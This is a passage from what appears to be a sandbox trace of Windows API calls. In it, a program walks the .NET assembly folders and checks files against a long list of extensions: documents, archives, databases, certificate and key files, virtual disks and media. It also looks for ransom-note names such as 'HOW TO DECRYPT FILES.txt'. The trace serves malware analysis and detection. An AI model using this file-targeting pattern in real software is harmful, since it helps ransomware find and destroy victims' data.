(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.php") returned 0 [0100.429] lstrlenA (lpString="*.php") returned 5 [0100.429] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.cs") returned 0 [0100.429] lstrlenA (lpString="*.cs") returned 4 [0100.429] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.cpp") returned 0 [0100.429] lstrlenA (lpString="*.cpp") returned 5 [0100.429] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.rar") returned 0 [0100.429] lstrlenA (lpString="*.rar") returned 5 [0100.429] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.zip") returned 0 [0100.429] lstrlenA (lpString="*.zip") returned 5 [0100.429] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.html") returned 0 [0100.429] lstrlenA (lpString="*.html") returned 6 [0100.429] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.htm") returned 0 [0100.430] lstrlenA (lpString="*.htm") returned 5 [0100.430] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.xlsx") returned 0 [0100.430] lstrlenA (lpString="*.xlsx") returned 6 [0100.430] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.xls") returned 0 [0100.430] lstrlenA (lpString="*.xls") returned 5 [0100.430] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.mp4") returned 0 [0100.430] lstrlenA (lpString="*.mp4") returned 5 [0100.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.ppt") returned 0 [0100.431] lstrlenA (lpString="*.ppt") returned 5 [0100.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.pptx") returned 0 [0100.431] lstrlenA (lpString="*.pptx") returned 6 [0100.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.doc") returned 0 [0100.431] lstrlenA (lpString="*.doc") returned 5 [0100.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.dot") returned 0 [0100.431] lstrlenA (lpString="*.dot") returned 5 [0100.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.docx") returned 0 [0100.431] lstrlenA (lpString="*.docx") returned 6 [0100.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.7z") returned 0 [0100.431] lstrlenA (lpString="*.7z") returned 4 [0100.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.tar") returned 0 [0100.431] lstrlenA (lpString="*.tar") returned 5 [0100.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.bz2") returned 0 [0100.431] lstrlenA (lpString="*.bz2") returned 5 [0100.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.gz") returned 0 [0100.431] lstrlenA (lpString="*.gz") returned 4 [0100.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.mkv") returned 0 [0100.431] lstrlenA (lpString="*.mkv") returned 5 [0100.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.eml") returned 0 [0100.431] lstrlenA (lpString="*.eml") returned 5 [0100.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.msg") returned 0 [0100.432] lstrlenA (lpString="*.msg") returned 5 [0100.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.edb") returned 0 [0100.432] lstrlenA (lpString="*.edb") returned 5 [0100.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.accdb") returned 0 [0100.432] lstrlenA (lpString="*.accdb") returned 7 [0100.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.odb") returned 0 [0100.432] lstrlenA (lpString="*.odb") returned 5 [0100.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.java") returned 0 [0100.432] lstrlenA (lpString="*.java") returned 6 [0100.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.asm") returned 0 [0100.432] lstrlenA (lpString="*.asm") returned 5 [0100.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.pfx") returned 0 [0100.432] lstrlenA (lpString="*.pfx") returned 5 [0100.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.pem") returned 0 [0100.432] lstrlenA (lpString="*.pem") returned 5 [0100.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.p12") returned 0 [0100.432] lstrlenA (lpString="*.p12") returned 5 [0100.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.gpg") returned 0 [0100.432] lstrlenA (lpString="*.gpg") returned 5 [0100.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.vsd") returned 0 [0100.432] lstrlenA (lpString="*.vsd") returned 5 [0100.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.odg") returned 0 [0100.432] lstrlenA (lpString="*.odg") returned 5 [0100.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.raw") returned 0 [0100.432] lstrlenA (lpString="*.raw") returned 5 [0100.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.nef") returned 0 [0100.433] lstrlenA (lpString="*.nef") returned 5 [0100.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.svg") returned 0 [0100.433] lstrlenA (lpString="*.svg") returned 5 [0100.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.psd") returned 0 [0100.433] lstrlenA (lpString="*.psd") returned 5 [0100.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.vmx") returned 0 [0100.433] lstrlenA (lpString="*.vmx") returned 5 [0100.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.vmdk") returned 0 [0100.433] lstrlenA (lpString="*.vmdk") returned 6 [0100.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.vdi") returned 0 [0100.433] lstrlenA (lpString="*.vdi") returned 5 [0100.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.lay6") returned 0 [0100.433] lstrlenA (lpString="*.lay6") returned 6 [0100.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.mpeg") returned 0 [0100.433] lstrlenA (lpString="*.mpeg") returned 6 [0100.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.djvu") returned 0 [0100.433] lstrlenA (lpString="*.djvu") returned 6 [0100.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.tiff") returned 0 [0100.433] lstrlenA (lpString="*.tiff") returned 6 [0100.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.backup") returned 0 [0100.433] lstrlenA (lpString="*.backup") returned 8 [0100.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.pdf") returned 0 [0100.433] lstrlenA (lpString="*.pdf") returned 5 [0100.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.cert") returned 0 [0100.434] lstrlenA (lpString="*.cert") returned 6 [0100.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.docm") returned 0 [0100.434] lstrlenA (lpString="*.docm") returned 6 [0100.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.xlsm") returned 0 [0100.434] lstrlenA (lpString="*.xlsm") returned 6 [0100.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.dwg") returned 0 [0100.434] lstrlenA (lpString="*.dwg") returned 5 [0100.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.nd") returned 0 [0100.434] lstrlenA (lpString="*.nd") returned 4 [0100.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.tlg") returned 0 [0100.434] lstrlenA (lpString="*.tlg") returned 5 [0100.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.lgb") returned 0 [0100.434] lstrlenA (lpString="*.lgb") returned 5 [0100.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.mov") returned 0 [0100.434] lstrlenA (lpString="*.mov") returned 5 [0100.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.xdw") returned 0 [0100.434] lstrlenA (lpString="*.xdw") returned 5 [0100.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.ods") returned 0 [0100.434] lstrlenA (lpString="*.ods") returned 5 [0100.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.wav") returned 0 [0100.434] lstrlenA (lpString="*.wav") returned 5 [0100.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.mp3") returned 0 [0100.435] lstrlenA (lpString="*.mp3") returned 5 [0100.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.aiff") returned 0 [0100.435] lstrlenA (lpString="*.aiff") returned 6 [0100.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.flac") returned 0 [0100.435] lstrlenA (lpString="*.flac") returned 6 [0100.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.m4a") returned 0 [0100.435] lstrlenA (lpString="*.m4a") returned 5 [0100.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", pszSpec="*.csv") returned 0 [0100.435] lstrlenA (lpString="*.csv") returned 5 [0100.435] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad8870a, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0xad852b80, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x573bd805, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.TroubleshootingPack.dll", cAlternateFileName="")) returned 0 [0100.435] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.435] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 0 [0100.435] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.435] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources", cAlternateFileName="MI8964~1.RES")) returned 1 [0100.435] lstrcmpA (lpString1=".", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources") returned -1 [0100.435] lstrcmpA (lpString1="..", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources") returned -1 [0100.435] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.435] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources" [0100.435] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources") returned 86 [0100.435] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.436] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.436] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.437] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.437] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.437] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0_en_31bf3856ad364e35", cAlternateFileName="610~1.0_E")) returned 1 [0100.437] lstrcmpA (lpString1=".", lpString2="6.1.0.0_en_31bf3856ad364e35") returned -1 [0100.437] lstrcmpA (lpString1="..", lpString2="6.1.0.0_en_31bf3856ad364e35") returned -1 [0100.437] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\*.*") returned="*.*" [0100.437] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\", lpString2="6.1.0.0_en_31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35" [0100.437] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35") returned 114 [0100.437] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.437] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.437] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.438] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.438] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.438] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", cAlternateFileName="")) returned 1 [0100.438] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.438] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll") returned -1 [0100.438] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll") returned -1 [0100.438] 